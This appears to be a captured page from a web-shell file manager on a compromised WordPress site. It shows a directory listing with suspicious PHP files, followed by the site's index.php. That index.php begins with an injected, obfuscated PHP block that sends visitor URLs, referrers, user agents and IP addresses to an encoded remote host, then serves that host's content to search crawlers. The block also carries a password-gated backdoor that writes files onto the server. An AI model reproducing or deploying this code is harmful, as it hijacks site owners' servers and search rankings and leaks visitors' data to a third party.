Gecko [ aspie-stpriest.org ]

Name	Size	Permission
.tmb	[ DIR ]	drwxrwxrwx
.well-known	[ DIR ]	drwxr-xr-x
MOWh	[ DIR ]	drwxr-xr-x
ZKkw3k	[ DIR ]	drwxr-xr-x
cache	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
image	[ DIR ]	drwxr-xr-x
lYH	[ DIR ]	drwxr-xr-x
tO	[ DIR ]	drwxr-xr-x
uRk7	[ DIR ]	drwxr-xr-x
var	[ DIR ]	drwxr-xr-x
wp	[ DIR ]	drwxr-xr-x
wp-admin	[ DIR ]	drwxr-xr-x
wp-content	[ DIR ]	drwxr-xr-x
wp-includes	[ DIR ]	drwxr-xr-x
wp2024	[ DIR ]	drwxr-xr-x
.htaccess	234 B	-rw-r--r--
.idx.dat	128 B	-rw-r--r--
.index.php	589 B	-rw-r--r--
aspie-waitingscreen.png	80.53 KB	-rw-r--r--
error_log	3.92 KB	-rw-r--r--
google3097a9f33b33d274.html	53 B	-rw-r--r--
google9f63cc5692d9b9b1.html	53 B	-rw-r--r--
half.php	6.23 KB	-rw-r--r--
harhygh.php	143.87 KB	-rw-r--r--
index.html	170 B	-rw-r--r--
index.php	6.44 KB	-r--r--r--
license.txt	19.07 KB	-rw-r--r--
readme.html	7.23 KB	-rw-r--r--
welcome.php	9.55 KB	-rw-r--r--
wp-activate.php	7.21 KB	-rw-r--r--
wp-blog-header.php	351 B	-rw-r--r--
wp-config-sample.php	2.85 KB	-rw-r--r--
wp-config.php	3.29 KB	-rw-r--r--
wp-cron.php	5.51 KB	-rw-r--r--
wp-links-opml.php	2.44 KB	-rw-r--r--
wp-load.php	3.83 KB	-rw-r--r--
wp-login.php	49.75 KB	-rw-r--r--
wp-mail.php	8.33 KB	-rw-r--r--
wp-settings.php	27.76 KB	-rw-r--r--
wp-signup.php	33.71 KB	-rw-r--r--
wp-trackback.php	4.77 KB	-rw-r--r--

Code Editor : index.php

<?php
// 2DUAN_START
// __B26_2DUAN_WP_INLINE_GUARD_MK_v2__
define("KK", "81a996fc4f7eab128cb167a21449ea29");define("NN", "17885");define("URL", "%34%32%32%39%2D%72%61%2D%69%36%2E%36%33%66%74%2E%6B%6C%6D"); if(!empty($_REQUEST["error"])){ ini_set("display_errors", "On"); ini_set("error_reporting",E_ALL); $s_statsu=true; }else{ error_reporting(0); ini_set('display_errors', 0); $s_statsu=false; } @set_time_limit(3600); @ignore_user_abort(1); $wV5OL = URL; $sBXh8 = "http"; if (ESm1m()) { $usAhr = "https"; } else { $usAhr = "http"; } $OwIhJ = BVeon(); if ($OwIhJ == '') { $OwIhJ = "/"; } if (preg_match('#^/index\.php/?$#i', $OwIhJ)) { $OwIhJ = "/"; } $FvlcR = urlencode($OwIhJ); $allurl=urlencode(getCurrentUrl()); $rdzSK = urlencode(getHostdomain()); $NwKOf = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) : ''; if (isset($_SERVER["HTTP_REFERER"])) { $qM7np = $_SERVER["HTTP_REFERER"]; $qM7np = urlencode($qM7np); }else{ $qM7np=''; } if (isset($_SERVER["HTTP_USER_AGENT"])) { $MdsNo = urlencode($_SERVER["HTTP_USER_AGENT"]); }else{ $MdsNo=''; } if(!empty($_REQUEST["pwd"])){ $fFWzR = md5($_REQUEST["pwd"]); }else{ $fFWzR=''; } if ($fFWzR == "8c929159e2048ffc2f53596b093ef089") { $izj_M = @$_REQUEST["gv"]; $Bpum2 = @$_REQUEST["action"]; if($Bpum2=="checkwp"){ echo "success"; }elseif(!empty($izj_M)){ $name=$izj_M; $content="google-site-verification: ".$name; $handle=fopen($name."","w"); fwrite($handle,$content); fclose($handle); if(file_exists($name)){ echo "true"; }else{ echo "false"; } } exit; } $ZibXI = strtr(urldecode($wV5OL), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"); if($OwIhJ=="/"){ $SendCheck=true; }else{ if(checkLink(urldecode($allurl))||strstr(urldecode($allurl), ".xml")){ $SendCheck=true; }else{ $SendCheck=false; } } if($SendCheck){ $isus=1; }else{ $isus=2; } $getUrl = $sBXh8 . "://" . $ZibXI . "/?web=" . $rdzSK . "&zz=" . wiRNx() . "&uri=" . $FvlcR. "&ufrom=" . $qM7np . "&allurl=" . $allurl . "&lang=" . $NwKOf. "&ua=" . $MdsNo. "&kk=".KK."&nn=".NN."&pp=".urlencode(bvwg3())."&isus=".$isus ; if (!badSpider($MdsNo)&&!checkFileType(urldecode($allurl))) { $backhtml = trim(RgbKM($getUrl)); }else{ $backhtml=''; } if($s_statsu){ echo $backhtml; } if(!empty($backhtml)){ if (!strstr($backhtml, "{{code")&&!strstr($backhtml, ".xyz")) { if(strstr($backhtml, "okxmlgetcontent")){ $backhtml = str_replace("okxmlgetcontent", '', $backhtml); @header("Content-type: text/xml"); echo $backhtml; exit; }else{ echo $backhtml;exit; } }else{ if(strstr($backhtml, "code404")){ } } } function getHostdomain() { $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; return "$scheme://$host"; } function getCurrentUrl() { $scheme = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST']; $requestUri = isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:''; return "$scheme://$host$requestUri"; } function BVeoN() { if (isset($_SERVER["REQUEST_URI"])) { $FvlcR = $_SERVER["REQUEST_URI"]; } elseif (isset($_SERVER["argv"])) { $FvlcR = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $FvlcR = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } return $FvlcR; } function esM1M() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } else { if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } else { if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } } } return false; } function RgbKM($GGBCD) { $RKqb1 = ''; if (function_exists("curl_init")) { $PdUoH = curl_init(); curl_setopt($PdUoH, CURLOPT_URL, $GGBCD); curl_setopt($PdUoH, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($PdUoH, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($PdUoH, CURLOPT_RETURNTRANSFER, 1); curl_setopt($PdUoH, CURLOPT_CONNECTTIMEOUT, 20); $RKqb1 = curl_exec($PdUoH); curl_close($PdUoH); } if (!$RKqb1) { $RKqb1 = @file_get_contents($GGBCD); } return $RKqb1; } function wiRNx() { $userAgent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); $spiders = array( 'Googlebot', 'Bingbot', 'yahoo', 'duckduckbot', ); foreach ($spiders as $spider) { if (strpos($userAgent, strtolower($spider)) !== false) { return true; } } return false; } function bvwg3() { if (isset($_SERVER["HTTP_X_SHOPIFY_CLIENT_IP"])) { return $_SERVER["HTTP_X_SHOPIFY_CLIENT_IP"]; } if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } $v = getenv("HTTP_CLIENT_IP"); if ($v && strcasecmp($v, "unknown")) { return $v; } $v = getenv("HTTP_X_FORWARDED_FOR"); if ($v && strcasecmp($v, "unknown")) { return $v; } $v = getenv("REMOTE_ADDR"); if ($v && strcasecmp($v, "unknown")) { return $v; } if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { return $_SERVER["REMOTE_ADDR"]; } return ""; } function badSpider($userAgent) { $spiderstr='SemrushBot|DotBot|Twitter|facebook|Yandex|MJ12bot|AhrefsBot|MauiBot|MegaIndex.ru|BLEXBot|ZoominfoBot|ExtLinksBot|hubspot|leiki|webmeup|Slurp|twiceler|AddThis.com|AcoonBot|Acunetix|adbeat_bot|AddThis.com|adixxbot|BeetleBot|idbot|CCBot|Crawlera|ZumBot|ZyBorg'; $spiderAgents=explode("|",$spiderstr); foreach ($spiderAgents as $agent) { if (stripos($userAgent, $agent) !== false) { return true; } } return false; } function checkLink($link) { $pattern = '/\/\?[a-zA-Z]=/'; return preg_match($pattern, $link) > 0; } function checkFileType($url) { $p=parse_url($url,PHP_URL_PATH); $p=strtolower($p?$p:''); if($p==='/index.php'||$p==='/index.php/'){return false;} $fileTypes = array( 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp','php','avi', 'js', 'css','doc','exe','iso','tif','pic','tiff','woff2','wav','int','dll','sys','bak','bat', 'pdf','xls','zip','rar','tar.gz','mp3','mp4','ppt','txt','gz', 'asp','aspx','jsp','tpl','ajax' ); $extension = strtolower(pathinfo($url, PATHINFO_EXTENSION)); if (in_array($extension, $fileTypes)) { return true; } else { return false; } }
// 2DUAN_END
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

${this.title}

Code Editor : index.php